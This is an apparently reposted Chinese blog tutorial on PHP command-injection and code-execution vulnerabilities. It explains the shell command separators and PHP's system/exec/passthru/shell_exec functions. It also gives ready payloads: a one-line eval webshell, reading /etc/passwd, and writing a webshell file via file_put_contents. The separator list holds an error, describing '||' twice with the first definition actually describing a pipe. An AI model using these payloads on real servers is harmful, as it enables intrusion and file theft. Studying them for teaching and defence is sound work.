命令执行漏洞和代码执行漏洞

一、命令执行漏洞

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,

当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。由于服务器端没有针对执行函数和对用户提交的内容进行过滤,所以产生了恶意命令。一道例题如下:

 

 

恶意命令的格式 

command1&command2     两个命令同时执行,前面执行不成功后面也执行
command1&&command2    只有前面命令执行成功,后面命令才继续执行
command1;command2     不管前面命令执行成功没有,后面的命令继续执行(Linux)
command1||command2    将一个命令的标准输出作为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令
command1||command2    顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

命令执行的常用函数:
1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,
函数原型如下:string system(string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
 2. Exec:exec函数可以用来执行一个外部的应用程序
string exec (string command, array&output, int &return_var)
其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,
return_var存放执行命令后的状态值。
 3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,
当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,
需要使用passthru函数来替代system与exec函数。
Passthru函数原型如下:void passthru (string command, int&return_var)
其中,command是要执行的命令,return_var存放执行命令后的状态值。
 4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command)
其中,command是要执行的命令。

二、代码执行漏洞

代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码。例如我们最常见的一句话木马和文件上传等等。

代码执行漏洞的利用,出现这些东西表面她可能是代码执行漏洞

1、一句话木马

${@eval($_POST[1])}

2、获取当前工作路径

${exit(print(getcwd()))}

使用菜刀

3、读文件

${exit(var_dump(file_get_contents($_POST[f])))}

f=/etc/passwd

使用post提交数值 f=/etc/passwd

4、写webshell

${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}

f=1.php&d=1111111

同样使用post

发现一篇好文: 



(10条消息) 命令执行与代码执行漏洞_辰辰啊-CSDN博客_代码执行漏洞和命令执行漏洞

猜你喜欢

转载自blog.csdn.net/hacker_zrq/article/details/120789052
今日推荐